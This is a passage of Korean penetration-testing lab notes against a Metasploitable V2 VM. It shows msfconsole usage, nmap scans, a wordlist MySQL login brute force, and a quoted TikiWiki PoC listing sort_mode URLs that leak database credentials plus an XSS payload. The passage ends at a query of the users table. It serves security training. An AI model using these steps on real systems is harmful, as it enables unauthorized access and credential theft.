    -r        Reset the ring buffer for the session given with -i, or all
    -s <opt>  Run a script on the session given with -i, or all
    -t <opt>  Set a response timeout (default: 15)
    -u <opt>  Upgrade a shell to a meterpreter session on many platforms
    -v        List verbose fields


Many options allow specifying session ranges using commas and dashes.
For example:  sessions -s checkvm -i 1,3-5  or  sessions -k 1-2,5,6

    EX) msf > sessoins -l
             msf > sessions -i 2
        -> 나중에 사용이 됩니다.



■ set/unset 명령어

The ‘set’ command allows you to configure Framework options and parameters for the current module you are working with.

The opposite of the ‘set’ command, of course, is ‘unset’. ‘Unset’ removes a parameter previously configured with ‘set’. You can remove all assigned variables with ‘unset all’.


msf > help set
Usage: set [option] [value]

Set the given option to value.  If value is omitted, print the current value.
If both are omitted, print options that are currently set.

If run from a module context, this will set the value in the module's
datastore.  Use -g to operate on the global datastore

msf > help unset
Usage: unset [-g] var1 var2 var3 ...

The unset command is used to unset one or more variables.
To flush all entires, specify 'all' as the variable name.
With -g, operates on global datastore variables.

msf > search wuftpd

Matching Modules
================

   Name                                       Disclosure Date  Rank   Description
   ----                                       ---------------  ----   -----------
   exploit/multi/ftp/wuftpd_site_exec_format  2000-06-22       great  WU-FTPD SITE EXEC/INDEX Format String Vulnerability


msf > use exploit/multi/ftp/wuftpd_site_exec_format
msf exploit(wuftpd_site_exec_format) > show options

Module options (exploit/multi/ftp/wuftpd_site_exec_format):

   Name     Current Setting      Required  Description
   ----     ---------------      --------  -----------
   FTPPASS  mozilla@example.com  no        The password for the specified username
   FTPUSER  anonymous            no        The username to authenticate as
   RHOST                         yes       The target address
   RPORT    21                   yes       The target port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf exploit(wuftpd_site_exec_format) > set RHOST 192.168.10.134
RHOST => 192.168.10.134
msf exploit(wuftpd_site_exec_format) > set FTPPASS jang4sc@hanmail.net
FTPPASS => jang4sc@hanmail.net
msf exploit(wuftpd_site_exec_format) > show options

Module options (exploit/multi/ftp/wuftpd_site_exec_format):

   Name     Current Setting      Required  Description
   ----     ---------------      --------  -----------
   FTPPASS  jang4sc@hanmail.net  no        The password for the specified username
   FTPUSER  anonymous            no        The username to authenticate as
   RHOST    192.168.10.134       yes       The target address
   RPORT    21                   yes       The target port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf exploit(wuftpd_site_exec_format) > unset RHOST
Unsetting RHOST...
msf exploit(wuftpd_site_exec_format) > show options

Module options (exploit/multi/ftp/wuftpd_site_exec_format):

   Name     Current Setting      Required  Description
   ----     ---------------      --------  -----------
   FTPPASS  jang4sc@hanmail.net  no        The password for the specified username
   FTPUSER  anonymous            no        The username to authenticate as
   RHOST                         yes       The target address
   RPORT    21                   yes       The target port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf exploit(wuftpd_site_exec_format) > unset all
Flushing datastore...
msf exploit(wuftpd_site_exec_format) > set

Global
======

No entries in data store.

Module: multi/ftp/wuftpd_site_exec_format
=========================================

  Name                   Value
  ----                   -----
  ConnectTimeout         10
  DisablePayloadHandler  false
  EXITFUNC               process
  EnableContextEncoding  false
  FTPDEBUG               false
  FTPPASS                mozilla@example.com
  FTPTimeout             16
  FTPUSER                anonymous
  PrependChrootBreak     true
  RPORT                  21
  SSL                    false
  SSLVerifyMode          PEER
  SSLVersion             TLS1
  TCP::max_send_size     0
  TCP::send_delay        0
  VERBOSE                false
  WfsDelay               0

msf exploit(wuftpd_site_exec_format) > back
msf >



■ show 명령어

Entering ‘show’ at the msfconsole prompt will display every module within Metasploit.


msf > help show
[*] Valid parameters for the "show" command are: all, encoders, nops, exploits, payloads, auxiliary, plugins, info, options
[*] Additional module-specific parameters are: missing, advanced, evasion, targets, actions

    msf > show all
    msf > show encoders
    msf > show nops
    msf > show exploits
    msf > show payloads
    msf > show auxiliary
    msf > show options

    msf > show advanced
    msf > show targets

msf > use exploit/multi/ftp/wuftpd_site_exec_format
msf exploit(wuftpd_site_exec_format) > show options

Module options (exploit/multi/ftp/wuftpd_site_exec_format):

   Name     Current Setting      Required  Description
   ----     ---------------      --------  -----------
   FTPPASS  mozilla@example.com  no        The password for the specified username
   FTPUSER  anonymous            no        The username to authenticate as
   RHOST                         yes       The target address
   RPORT    21                   yes       The target port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf exploit(wuftpd_site_exec_format) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic Targeting
   1   Slackware 2.1 (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994)
   2   RedHat 6.2 (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000)
   3   Debug

msf exploit(wuftpd_site_exec_format) > show advanced

Module advanced options (exploit/multi/ftp/wuftpd_site_exec_format):

   Name           : CHOST
   Current Setting:
   Description    : The local client address

   Name           : CPORT
   Current Setting:
   Description    : The local client port

   Name           : ConnectTimeout
   Current Setting: 10
   Description    : Maximum number of seconds to establish a TCP connection

   Name           : ContextInformationFile
   Current Setting:
   Description    : The information file that contains context information

   Name           : DisablePayloadHandler
   Current Setting: false
   Description    : Disable the handler code for the selected payload

   Name           : EnableContextEncoding
   Current Setting: false
   Description    : Use transient context when encoding payloads

   Name           : FTPDEBUG
   Current Setting: false
   Description    : Whether or not to print verbose debug statements

   Name           : FTPTimeout
   Current Setting: 16
   Description    : The number of seconds to wait for a reply from an FTP command

   Name           : Proxies
   Current Setting:
   Description    : A proxy chain of format type:host:port[,type:host:port][...]

   Name           : SSL
   Current Setting: false
   Description    : Negotiate SSL for outgoing connections

   Name           : SSLCipher
   Current Setting:
   Description    : String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"

   Name           : SSLVerifyMode
   Current Setting: PEER
   Description    : SSL verification method (Accepted: CLIENT_ONCE,
      FAIL_IF_NO_PEER_CERT, NONE, PEER)

   Name           : SSLVersion
   Current Setting: TLS1
   Description    : Specify the version of SSL/TLS to be used (TLS and SSL23 are
      auto-negotiate) (Accepted: SSL2, SSL3, SSL23, TLS, TLS1, TLS1.1,
      TLS1.2)

   Name           : VERBOSE
   Current Setting: false
   Description    : Enable detailed status messages

   Name           : WORKSPACE
   Current Setting:
   Description    : Specify the workspace for this module

   Name           : WfsDelay
   Current Setting: 0
   Description    : Additional delay when waiting for a session

msf exploit(wuftpd_site_exec_format) > set

Global
======

No entries in data store.

Module: multi/ftp/wuftpd_site_exec_format
=========================================

  Name                   Value
  ----                   -----
  ConnectTimeout         10
  DisablePayloadHandler  false
  EXITFUNC               process
  EnableContextEncoding  false
  FTPDEBUG               false
  FTPPASS                mozilla@example.com
  FTPTimeout             16
  FTPUSER                anonymous
  PrependChrootBreak     true
  RPORT                  21
  SSL                    false
  SSLVerifyMode          PEER
  SSLVersion             TLS1
  TCP::max_send_size     0
  TCP::send_delay        0
  VERBOSE                false
  WfsDelay               0





[실습] zenmap을 통해 포트스캔된 정보를 mataspolit에서 읽어 들이기

■ 사용시스템
- KaliLinux
- Metasploitable V2 Linux


① nmap 프로그램을 통해 공격할려고 하는 시스템의 포트 스캔 과정을 거치고 파일로 저장

(KaliLinux)

# zenmap &
-> Target  : 192.168.10.134     /* Metasploitable V2 Linux's IP : 192.168.10.134 */
-> Profile : 'Quick scan plus' 선택
-> 스캔 시작   
-> 스캔 결과를 파일로 저장: /root/scan1.xml
    scan > save scan
-> 스캔 과정이 끝났다면 zenmap를 종료한다.

② 칼리리눅스에서 MSF console 접속한 후 이전에 저장된 파일(EX: scan1.xml)을 import 하기
# msfconsole

..... (중략) .....

Love leveraging credentials? Check out bruteforcing
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.9.2-2014052101 [core:4.9 api:1.0] ]
+ -- --=[ 1302 exploits - 700 auxiliary - 207 post        ]
+ -- --=[ 335 payloads - 35 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > help

..... (중략) .....

Database Backend Commands
=========================

    Command           Description
    -------           -----------
    creds             List all credentials in the database
    db_connect        Connect to an existing database
    db_disconnect     Disconnect from the current database instance
    db_export         Export a file containing the contents of the database
    db_import         Import a scan result file (filetype will be auto-detected)
    db_nmap           Executes nmap and records the output automatically
    db_rebuild_cache  Rebuilds the database-stored module cache
    db_status         Show the current database status
    hosts             List all hosts in the database
    loot              List all loot in the database
    notes             List all notes in the database
    services          List all services in the database
    vulns             List all vulnerabilities in the database
    workspace         Switch between database workspaces
msf > help db_import
Usage: db_import <filename> [file2...]

Filenames can be globs like *.xml, or **/*.xml which will search recursively
Currently supported file types include:
    Acunetix
    Amap Log
    Amap Log -m
    Appscan
..... (중략) .....

msf > db_import /root/scan1.xml
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nokogiri v1.6.1'
[*] Importing host 192.168.20.200
[*] Successfully imported /root/scan1.xml
msf > hosts

Hosts
=====

address         mac                name  os_name  os_flavor  os_sp  purpose  info  comments
-------         ---                ----  -------  ---------  -----  -------  ----  --------
192.168.20.200  00:0C:29:D1:CC:21        Linux    CentOS            server        

msf > services

Services
========

host            port  proto  name     state  info
----            ----  -----  ----     -----  ----
192.168.20.200  21    tcp    ftp      open   vsftpd 2.0.5
192.168.20.200  22    tcp    ssh      open   OpenSSH 4.3 protocol 2.0
192.168.20.200  23    tcp    telnet   open   BSD-derived telnetd
192.168.20.200  25    tcp    smtp     open   Sendmail 8.13.8/8.13.8
192.168.20.200  53    tcp    domain   open   ISC BIND 9.3.6-20.P1.el5_8.6
192.168.20.200  80    tcp    http     open   Apache httpd 2.2.3 (CentOS)
192.168.20.200  110   tcp    pop3     open   Dovecot pop3d
192.168.20.200  111   tcp    rpcbind  open   2 RPC #100000
192.168.20.200  143   tcp    imap     open   Dovecot imapd
192.168.20.200  443   tcp    http     open   Apache httpd 2.2.3 (CentOS)
192.168.20.200  993   tcp    imap     open   Dovecot imapd
192.168.20.200  995   tcp    pop3     open   Dovecot pop3d

msf > notes
[*] Time: 2014-07-17 09:18:44 UTC Note: host=192.168.20.200 type=host.imported
data={:filename=>"/root/scan1.xml", :type=>"Nmap XML", :time=>2014-07-17 09:18:44 UTC}
[*] Time: 2014-07-17 09:18:45 UTC Note: host=192.168.20.200 type=host.os.nmap_fingerprint
data={:os_vendor=>"Linux", :os_family=>"Linux", :os_version=>"2.6.X", :os_accuracy=>100}
[*] Time: 2014-07-17 09:18:45 UTC Note: host=192.168.20.200 type=host.last_boot
data={:time=>"Thu Jul 17 15:44:09 2014"}
msf > search portscan        /* 지원되는 스캔 방법의 종류 */

Matching Modules
================

   Name                                              Disclosure Date  Rank    Description
   ----                                              ---------------  ----    -----------
   auxiliary/scanner/http/wordpress_pingback_access  normal  Wordpress Pingback Locator
   auxiliary/scanner/natpmp/natpmp_portscan          normal  NAT-PMP External Port Scanner
   auxiliary/scanner/portscan/ack                    normal  TCP ACK Firewall Scanner
   auxiliary/scanner/portscan/ftpbounce              normal  FTP Bounce Port Scanner
   auxiliary/scanner/portscan/syn                    normal  TCP SYN Port Scanner
   auxiliary/scanner/portscan/tcp                    normal  TCP Port Scanner
   auxiliary/scanner/portscan/xmas                   normal  TCP "XMas" Port Scanner
   auxiliary/scanner/sap/sap_router_portscanner      normal  SAPRouter Port Scanner

msf > use auxiliary/scanner/portscan/syn
msf auxiliary(syn) > show options

Module options (auxiliary/scanner/portscan/syn):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   BATCHSIZE  256              yes       The number of hosts to scan per set
   INTERFACE                   no        The name of the interface
   PORTS      1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS                      yes       The target address range or CIDR identifier
   SNAPLEN    65535            yes       The number of bytes to capture
   THREADS    1                yes       The number of concurrent threads
   TIMEOUT    500              yes       The reply read timeout in milliseconds

msf auxiliary(syn) > set PORTS 1-500
PORTS => 1-500
msf auxiliary(syn) > set RHOSTS 192.168.10.134 /* Metasploitable V2 IP's 192.168.10.134 */
RHOSTS => 192.168.10.134
msf auxiliary(syn) > run
[*]  TCP OPEN 192.168.10.134:21
[*]  TCP OPEN 192.168.10.134:22
[*]  TCP OPEN 192.168.10.134:23
[*]  TCP OPEN 192.168.10.134:25
[*]  TCP OPEN 192.168.10.134:53
[*]  TCP OPEN 192.168.10.134:80
[*]  TCP OPEN 192.168.10.134:111
[*]  TCP OPEN 192.168.10.134:139
[*]  TCP OPEN 192.168.10.134:445
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(syn) > quit


    [참고] msfconsole에서 db_nmap 사용하기
    msfconsole 안에서 nmap 사용도 가능하다.
    # msfconsole
    msf> help
    msf> db_nmap -sV -O -p1-1023 -v 192.168.10.134
    msf> quit



(정리) nmap의 출력 결과를 DB(postgresql)에 저장하기
● zenmap CMD -> scan1.xml -> msfconsole(db_import) -> postgresql 저장
● msfconsole(db_nmap) -> postgresql 저장




[실습] 메타스플로잇을 사용하여 서비스 취약점 점검(사전 파일을 이용한 MySQL 원격 로그인 시도)

● 메타스플로잇을 사용하여 취약점을 스캔 해 보자.- 사전파일을 이용하여 MySQL 원격 로그인 시도한다.

① 공격대상 서버(EX: 192.168.10.134)의 서비스 목록 확인
# nmap -sV 192.168.10.134     /* Metasploitable V2 Server IP : 192.168.10.134 */

Starting Nmap 6.46 ( http://nmap.org ) at 2014-12-15 10:49 KST
Nmap scan report for 192.168.10.134
Host is up (0.00024s latency).
Not shown: 977 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login?
514/tcp  open  tcpwrapped
1099/tcp open  rmiregistry GNU Classpath grmiregistry
1524/tcp open  shell       Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         Unreal ircd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.88 seconds



② msfconsole의 mysql_login auxiliary을 사용하여 MySQL 로그인 시도
# msfconsole

..... (중략) .....
msf > search mysql_login

Matching Modules
================

   Name                                 Disclosure Date  Rank    Description
   ----                                 ---------------  ----    -----------
   auxiliary/scanner/mysql/mysql_login                   normal  MySQL Login Utility

msf > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) > show options

Module options (auxiliary/scanner/mysql/mysql_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in
                        the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database
                        to the list
   DB_ALL_USERS      false            no        Add all users in the current database to
                        the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target address range or CIDR
                        identifier
   RPORT             3306             yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for
                        a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords
                        separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all
                        users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

msf auxiliary(mysql_login) > set RHOSTS 192.168.10.134
RHOSTS => 192.168.10.134
msf auxiliary(mysql_login) > run

[*] 192.168.10.134:3306 MYSQL - Found remote MySQL version 5.0.51a
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

    [TERM2] 다른 윈도우에서 user.txt, pass.txt 파일을 생성
    # cd /usr/share/metasploit-framework/data/wordlists
    # vi user.txt
    root
    admin
    administrator
    # echo "" > pass.txt
    #
    -> Metaspolitable V2에서는 root 사용자의 암호가 없다.

msf auxiliary(mysql_login) > set USER_FILE
    /usr/share/metasploit-framework/data/wordlists/user.txt
USER_FILE => /usr/share/metasploit-framework/data/wordlists/user.txt
msf auxiliary(mysql_login) > set PASS_FILE
    /usr/share/metasploit-framework/data/wordlists/pass.txt
PASS_FILE => /usr/share/metasploit-framework/data/wordlists/pass.txt
msf auxiliary(mysql_login) > run

[*] 192.168.10.134:3306 MYSQL - Found remote MySQL version 5.0.51a
[*] 192.168.10.134:3306 MYSQL - [1/3] - Trying username:'root' with password:''
[+] 192.168.10.134:3306 - SUCCESSFUL LOGIN 'root' : ''
[*] 192.168.10.134:3306 MYSQL - [2/3] - Trying username:'admin' with password:''
[-] Access denied
[*] 192.168.10.134:3306 MYSQL - [3/3] - Trying username:'administrator' with password:''
[-] Access denied
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(mysql_login) > quit

[실습] 메타스플로잇을 사용하여 서비스 취약점 점검(exploitdb을 이용한 tikiwiki 취약점 공격)
● 메타스플로잇을 사용하여 취약점을 스캔 해 보자.- tikiwiki 프로그램의 취약점을 점검하고 이용하여 본다.

① 공격 대상 서버쪽에(Metaspolitable V2) 열러 있는 포트 목록 확인
# nmap -sV -p 1-65535 192.168.10.134

Starting Nmap 6.46 ( http://nmap.org ) at 2014-07-17 21:06 KST
Nmap scan report for 192.168.10.134
Host is up (0.00024s latency).
Not shown: 65505 closed ports
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
53/tcp    open  domain      ISC BIND 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  tcpwrapped
1099/tcp  open  rmiregistry GNU Classpath grmiregistry
1524/tcp  open  shell       Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc         VNC (protocol 3.3)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         Unreal ircd
6697/tcp  open  irc         Unreal ircd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
42043/tcp open  mountd      1-3 (RPC #100005)
48481/tcp open  unknown
50478/tcp open  status      1 (RPC #100024)
56189/tcp open  nlockmgr    1-4 (RPC #100021)
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 165.23 seconds

-> 약간 시간이 걸림

    # man nmap
    -sV: Probe open ports to determine service/version info
    -p <port ranges>: Only scan specified ports
               Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9






② powerfuzzer를 사용하여 테스트
● powerfuzzer웹/애플리케이션상의 숨겨진 파일이나 디렉토리들을 부르트로스 방식으로 검출해 공격 팩터(Factor)를 찾는 멀티스레드 자바 애플리케이션이다.

------------------------ 선수 작업 ----------------------------
(KaliLinux 에서 작업)
● KaliLinux에서 웹접속을 통한 MetaspolitV2 서버의 Tikiwiki 설정

# firefox http://192.168.10.134/tikiwiki/tiki-index.php




-> 'Go here to begin the installation process' 선택




-> 다음페이지에서
    Database    Type : MySQL
    Host         : localhost
    User          : root
    Password      :
    Database name : tikiwiki195




-> 다음페이지에서
    -> Create
-> 웹 브라우저 종료

    [참고] 만약 Metaspolitable V2 서버에서 database 이름을 확인하기 위해서는
    (Metasploitable V2 Server)
    $ mysql -u root -p          /* -u : username, -p : password */
    Enter password: <ENTER>
    mysql> show databases;
    mysql> quit
    $
------------------------ 선수 작업 ----------------------------

③ KaliLinux에서 powerfuzzer 실행

    ■ powerfuzzer 실행하는 방법
    KaliLinux > Web Applications > Web Application Fuzzy > powerfuzzer
    or
    KaliLinux > Vulnerability Analysis > Fuzzing Tools > powerfuzzer
    or
    # powerfuzzer




Target URL : http://192.168.10.134
-> Scan

-> 출력 결과를 분석하면 목록이 많이 나온다.
-> 이중에서 URL 하나를 선택하여 웹에서 접근해 보자
    # firefox http://192.168.10.134/tikiwiki/tiki-index.php
    -> 'Home Page' 보인다.
    -> 만약 홈페이지가 보이지 않는다면 tiwiki 웹사이트에 대한 초기화가 이루어지지 않아서
       그렇다. 그런경우 http://192.168.10.134/tikiwiki/tiki-index.php 사이트에 접속하여
       다시 설정하여야 한다.

③ twiki 대상 웹 서비스 공격

최신 취약점을 확인하기 위해서 http://www.exploit-db.com에서 검색을 한다.

    http://www.exploit-db.com 사이트에서
    -> 오른쪽 상단의 'search'를 선택하고
    -> Description 부분에 'tikiwiki' 입력한다.
        -> 상당히 많은 버그가 있다는 것을 알수 있다.
        -> 2004년 ~ 2010년까지의 결과 확인

웹페이지 출력 결과

Date    D    A    V    Description    Plat.    Author
2008-01-20     Exploit Code Downloads    Download Vulnerable Application    Waiting
verification    TikiWiki < 1.9.9 tiki-listmovies.php Directory Traversal Vulnerability    php
     Sha0

2010-09-20     Exploit Code Downloads     -    Verified    TikiWiki tiki-graph_formula Remote PHP Code Execution    php     metasploit

2010-07-25     Exploit Code Downloads     -    Verified    TikiWiki jhot Remote Command Execution    php     metasploit

2010-03-09     Exploit Code Downloads     -    Verified     TikiWiki Versions Prior to 4.2 Multiple Vulnerabilities    php     Mateusz Drygas

2009-03-12     Exploit Code Downloads     -    Verified    TikiWiki 2.2/3.0 'tiki-galleries.php' Cross Site Scripting Vulnerability    php     iliz

2009-03-12     Exploit Code Downloads     -    Verified    TikiWiki 2.2/3.0 'tiki-list_file_gallery.php' Cross Site Scripting Vulnerability    php     iliz

2009-03-12     Exploit Code Downloads     -    Verified    TikiWiki 2.2/3.0 'tiki-listpages.php' Cross Site Scripting Vulnerability    php     iliz

2007-10-25     Exploit Code Downloads     -    Verified    TikiWiki <= 1.9.8.1 - Local File Inclusion Vulnerabilities    php     L4teral

2007-10-12     Exploit Code Downloads     -    Verified    TikiWiki <= 1.9.8 tiki-graph_formula.php Command Execution Exploit    php     str0ke

2007-10-10     Exploit Code Downloads     -    Verified    TikiWiki 1.9.8 - Remote PHP Injection Vulnerability    php     ShAnKaR

2006-11-01     Exploit Code Downloads     -    Verified    TikiWiki 1.9.5 Sirius (sort_mode) Information Disclosure Vulnerability    php     securfrog

2006-09-02     Exploit Code Downloads     -    Verified    TikiWiki <= 1.9 Sirius (jhot.php) Remote Command Execution Exploit    php     rgod

2006-05-29     Exploit Code Downloads     -    Verified    TikiWiki 1.9 tiki-lastchanges.php Multiple Parameter XSS    php     Blwood

2005-11-09     Exploit Code Downloads     -    Verified    TikiWiki 1.9 Tiki-view_forum_thread.PHP Cross-Site Scripting Vulnerability    php     Moritz Naumann

..... (중략) .....

-> 2006-11-01 버그를 확인한다.
-> Sirius (sort_mode) Information Disclosure Vulnerability 선택한다.





/*==========================================*/
//tikiwiki version 1.9.5 (CVS) -Sirius-  (PoC)
// Product: Tikiwiki
// URL: http://tikiwiki.org/
// RISK: critical
/*==========================================*/
 
 
 
 
there's a critical security bug in tikiwiki version 1.9.5 (CVS) -Sirius-
a anonymous user , can dump the mysql user & passwd just by creating a mysql error with the "sort_mode" var , with those following links :
/tiki-listpages.php?offset=0&sort_mode=
/tiki-lastchanges.php?days=1&offset=0&sort_mode=
/messu-archive.php?sort_mode=
/messu-mailbox.php?sort_mode=
/messu-sent.php?sort_mode=
/tiki-directory_add_site.php?sort_mode=
/tiki-directory_ranking.php?sort_mode=
/tiki-directory_search.php?sort_mode=
/tiki-forums.php?sort_mode=
/tiki-view_forum.php?forumId=
/tiki-friends.php?sort_mode=
/tiki-list_blogs.php?sort_mode=
/tiki-list_faqs.php?sort_mode=
/tiki-list_trackers.php?sort_mode=
/tiki-list_users.php?sort_mode=
/tiki-my_tiki.php?sort_mode=
/tiki-notepad_list.php?sort_mode=
/tiki-orphan_pages.php?sort_mode=
/tiki-shoutbox.php?sort_mode=
/tiki-usermenu.php?sort_mode=
/tiki-webmail_contacts.php?sort_mode=
 
a proof of concept is disponible here : http://cockor.free.fr/PoC.swf
 
there's also a xss here :
/tiki-featured_link.php?type=f&url="
></iframe><scr</script>ipt>alert('XSS')</scri</script>pt> <!--
 
regards , securfrog
 
# milw0rm.com [2006-11-01]



# firefox &
-> http://192.168.10.134/tikiwiki/tiki-listpages.php?offset=0&sort_mode=
-> 페이지 하단의 에러메세지 부분을 참고한다.

array(3) {
  [0]=>
  array(7) {
    ["file"]=>
    string(35) "/var/www/tikiwiki/lib/tikidblib.php"
    ["line"]=>
    int(84)
    ["function"]=>
    string(9) "sql_error"
    ["class"]=>
    string(6) "TikiDB"
    ["object"]=>
    object(TikiLib)#6 (10) {
      ["db"]=>
      object(ADODB_mysql)#2 (78) {
        ["databaseType"]=>
        string(5) "mysql"
        ["dataProvider"]=>
        string(5) "mysql"
        ["hasInsertID"]=>
        bool(true)
        ["hasAffectedRows"]=>
        bool(true)
        ["metaTablesSQL"]=>
        string(11) "SHOW TABLES"
        ["metaColumnsSQL"]=>
        string(20) "SHOW COLUMNS FROM %s"
        ["fmtTimeStamp"]=>

..... (중략) .....

        ["hasTransactions"]=>
        bool(false)
        ["forceNewConnect"]=>
        bool(false)
        ["poorAffectedRows"]=>
        bool(true)
        ["clientFlags"]=>
        int(0)
        ["substr"]=>
        string(9) "substring"
        ["nameQuote"]=>
        string(1) "`"
        ["_genIDSQL"]=>
        string(38) "update %s set id=LAST_INSERT_ID(id+1);"
        ["_genSeqSQL"]=>
        string(33) "create table %s (id int not null)"
        ["_genSeq2SQL"]=>
        string(26) "insert into %s values (%s)"
        ["_dropSeqSQL"]=>
        string(13) "drop table %s"
        ["database"]=>
        string(11) "tikiwiki195"
        ["host"]=>
        string(9) "localhost"
        ["user"]=>
        string(4) "root"
        ["password"]=>
        string(0) ""
        ["debug"]=>
        bool(false)
        ["maxblobsize"]=>
        int(262144)
        ["concat_operator"]=>
        string(1) "+"
        ["length"]=>
        string(6) "length"
        ["random"]=>
        string(6) "rand()"
..... (중략) .....





④ MySQL에 접근하여 정보를 확인 하기
# ssh msfadmin@192.168.10.134

msfadmin@192.168.10.134's password: (msfadmin)
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Thu Jul 17 21:50:01 2014
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.


$ mysql -u root -p         /* -u : username, -p : passowrd */

Enter password: <ENTER>        <---- 암호는 없다.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 21
Server version: 5.0.51a-3ubuntu5 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| dvwa               |
| metasploit         |
| mysql              |
| owasp10            |
| tikiwiki           |
| tikiwiki195        |
+--------------------+
7 rows in set (0.00 sec)

mysql> use tikiwiki195
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+------------------------------------+
| Tables_in_tikiwiki195              |
+------------------------------------+
| galaxia_activities                 |
| galaxia_activity_roles             |
| galaxia_instance_activities        |
| galaxia_instance_comments          |
| galaxia_instances                  |

..... (중략) .....

| tiki_userpoints                    |
| tiki_users                         |
| tiki_users_score                   |
| tiki_webmail_contacts              |
| tiki_webmail_messages              |
| tiki_wiki_attachments              |
| tiki_zones                         |
| users_grouppermissions             |
| users_groups                       |
| users_objectpermissions            |
| users_permissions                  |
| users_usergroups                   |
| users_users                        |
+------------------------------------+
194 rows in set (0.00 sec)

mysql> select * from users_users;
